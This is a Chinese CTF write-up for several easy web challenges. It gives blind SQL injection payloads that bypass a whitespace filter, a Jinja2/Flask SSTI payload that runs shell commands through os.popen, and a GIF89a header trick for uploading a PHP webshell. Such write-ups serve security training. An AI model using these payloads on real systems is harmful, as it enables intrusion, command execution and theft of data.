这次的web都非常简单,没做出zs系列学sql的都要被zs打死(滑稽)

zs学sql

puppy

送分题,毫无过滤的盲注,sqlmap都能跑

dog

还是送分题,过滤了空白字符

绕过方法有很多,比如:

1
2
3
4
5
#异或加括号
1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),1,1))=1))^1=1

#异或加反引号
1^(SELECT(ASCII(MID((SELECT`flag`FROM`ctf`),1,1))=102))^1=1

zs学py

打开发现User-Agent被显示了出来,把User-Agent改为{{1-1}}返回0,说明存在ssti模板注入

hint说与flask相关,flask使用jinja2作为模板引擎,使用jinja2 ssti命令执行的payload

{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

300那个位置需要爆破一下,cat /flag即可

关于python的ssti可以参见Python模板注入(SSTI)深入学习

babyupload

出这题就是想看看大家有没有做upload-lab。。

在webshell前面加GIF89a即可上传成功

查看phpinfo()发现存在disable_functions禁了命令执行的函数,但没有open_basedir(其实是我open_basedir后面多加了个:所以没生效。。也没测试所以就降了难度,本来是想看看大家有没有学到张渗透的webshell那题的姿势)

所以直接readfile('/flag');即可